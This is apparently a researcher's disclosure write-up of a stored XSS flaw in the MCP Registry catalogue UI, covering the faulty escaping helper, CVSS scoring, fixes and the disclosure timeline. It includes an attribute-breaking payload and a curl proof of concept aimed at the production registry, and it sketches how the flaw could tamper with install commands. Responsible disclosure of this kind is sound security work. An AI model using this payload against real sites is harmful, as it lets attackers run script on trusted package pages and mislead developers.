CVE-2026-44429: Stored XSS on the MCP Registry Catalogue UI
<!-- server.json submitted by an authenticated publisher -->
{
"websiteUrl": "https://example.com\" onmouseover=\"alert(document.domain)\" data-x=\""
}
<!-- rendered into the catalogue UI, ≤ v1.7.6 -->
<a href="https://example.com" onmouseover="alert(document.domain)" data-x="">
example.com
</a>
That payload lands for real against registry.modelcontextprotocol.io on every build prior to v1.7.7: the websiteUrl field on a published server.json flows into the catalogue UI's <a href="..."> template through an escapeHtml helper that does not encode quote characters. One published server, one hover, JavaScript runs on the registry origin.
This is CVE-2026-44429 (GHSA-rqv2-m695-f8j4) — assigned to me by GitHub-as-CNA on 6 May 2026.
What breaks
The catalogue UI lives in internal/api/router/static/index.html and renders server cards client-side. The websiteUrl field is run through an escapeHtml(str) helper before being interpolated into a double-quoted href:
function escapeHtml(str) {
return String(str)
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">");
}
// …later, in the card template
const html = `<a href="${escapeHtml(server.websiteUrl)}">${displayUrl}</a>`;
The helper neutralises tag-context characters (<, >, &) but not the attribute-context characters " and '. Because the value is interpolated inside a double-quoted attribute, a single " in the input closes the attribute early and lets the publisher inject arbitrary attributes — including event handlers like onmouseover, onfocus, onerror.
The server-side validator at internal/validators/url.go accepted any RFC-3986-shaped URL. Quote characters round-tripped through publish unchanged.
Both gates were insufficient: the encoder was tag-only, and the validator was URL-shape-only. Defence-in-depth was missing on both sides.
Severity in context
CVSS v4 vector: AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L → 5.1 Medium.
The score reflects three constraints:
- PR:L — the attacker needs publish permission for some namespace. The MCP registry's namespace model (DNS-claimant, GitHub-claimant, generic-OIDC) makes this cheap but not free: anyone with a domain or a GitHub repo qualifies.
- UI:P — passive interaction. A registry visitor browsing the catalogue is enough; no click required, only hover or focus.
- No session impact — the catalogue origin does not store auth cookies for end users (the registry serves only public reads to anonymous visitors), so the immediate consequence is not session theft.
What the score does not capture is the integrity-of-publication angle. The registry's whole point is to be the trustworthy index of MCP servers. JavaScript executing under registry.modelcontextprotocol.io on every visit to a catalogue page can:
- Rewrite displayed package URLs to point at typosquatted forks
- Spoof publisher names, version banners, install commands
- Mutate copy-to-clipboard handlers so the snippet a developer pastes into their terminal is not the snippet shown on screen
- Persist a redirect of API calls via
localStorageso subsequent visits exfiltrate to an attacker-controlled host
Stored XSS on a package-discovery surface is a supply-chain primitive, not just a popup demo.
Proof of concept
Publish a server with a quote-breaking websiteUrl:
curl -X POST https://registry.modelcontextprotocol.io/v0/servers \
-H "Authorization: Bearer $REGISTRY_JWT" \
-H "Content-Type: application/json" \
-d '{
"name": "io.github.attacker/poc-server",
"description": "PoC",
"websiteUrl": "https://example.com\" onmouseover=\"alert(document.domain)\" data-x=\"",
"packages": [{"registryName":"npm","name":"left-pad","version":"1.3.0"}]
}'
Then visit any catalogue listing that surfaces the server:
https://registry.modelcontextprotocol.io/?q=poc-server
Hover the rendered card. JavaScript executes under the registry origin. No special headers, no CSRF gymnastics — the publish endpoint is the standard publisher path, and the rendering path is the standard catalogue path.
Remediation
The maintainer (@rdimitrov) shipped both gates the advisory recommended, in v1.7.7:
1. Client-side: encode attribute-context characters. PR #1248 introduces a dedicated escapeAttr helper used wherever values land inside href/src/data-*:
function escapeAttr(str) {
return String(str)
.replace(/&/g, "&")
.replace(/"/g, """)
.replace(/'/g, "'")
.replace(/</g, "<")
.replace(/>/g, ">");
}
This is the OWASP-prescribed encoding for the HTML-attribute context. The original escapeHtml is retained for tag-content interpolation.
2. Server-side: reject inputs that have no business in a URL. PR #1249 extends validateWebsiteURL to refuse any of ", ', <, >, space, \t, \n, \r with the explicit error website-url-invalid-characters. RFC-3986 forbids these in URL syntax anyway — the validator now enforces what the spec already says.
The minimum-correct handler:
var forbidden = []rune{'"', '\'', '<', '>', ' ', '\t', '\n', '\r'}
func validateWebsiteURL(raw string) error {
for _, r := range forbidden {
if strings.ContainsRune(raw, r) {
return errors.New("website-url-invalid-characters")
}
}
if _, err := url.ParseRequestURI(raw); err != nil {
return err
}
return nil
}
3. Defence-in-depth: a Content-Security-Policy. Not landed yet, but a CSP banning inline scripts (script-src 'self') on the catalogue UI would have neutralised this class of bug entirely, regardless of encoder bugs. Recommended as follow-up hardening.
The lesson is the well-trodden one: a single layer of output encoding tied to the wrong context is a footgun. Encoders are context-specific (HTML body, attribute, JavaScript, URL, CSS), and using the wrong one for the surface is no encoder at all.
Affected surface
- Project:
modelcontextprotocol/registry - Affected versions:
< 1.7.7 - Patched versions:
>= 1.7.7 - Patches: PR #1248 (client-side encoder), PR #1249 (server-side validator)
- Production deployment:
registry.modelcontextprotocol.io, deployed via PR #1251 - CWE: CWE-79, CWE-116
Disclosure timeline
- 2026-04-30 — Scan against
main, candidate identified - 2026-05-04 — Advisory submitted via GitHub Security Advisories
- 2026-05-04 — Maintainer triaged, fix shipped in v1.7.7, advisory published the same day
- 2026-05-06 — CVE-2026-44429 assigned by GitHub-as-CNA
Two-day turnaround from report to public CVE. The maintainer ran his own follow-up tests and accepted both remediations from the advisory verbatim — the kind of responsiveness that makes a project worth investing care in.
References
- GHSA: GHSA-rqv2-m695-f8j4
- CVE: CVE-2026-44429 (pending NVD publication)
- OWASP — Cross-Site Scripting Prevention Cheat Sheet, Rule #2 (attribute-context encoding)
- CWE-79 — Improper Neutralization of Input During Web Page Generation
- CWE-116 — Improper Encoding or Escaping of Output
- Patches: PR #1248, PR #1249, PR #1251
Related disclosures
This is the first published post in an ongoing CVE-hunting series across the open-source AI tooling ecosystem. Findings on Flowise, n8n, ComfyUI, Ollama, LiteLLM, Promptfoo, Sim, and Langflow are queued — disclosure-window-permitting, posts will follow as each clears.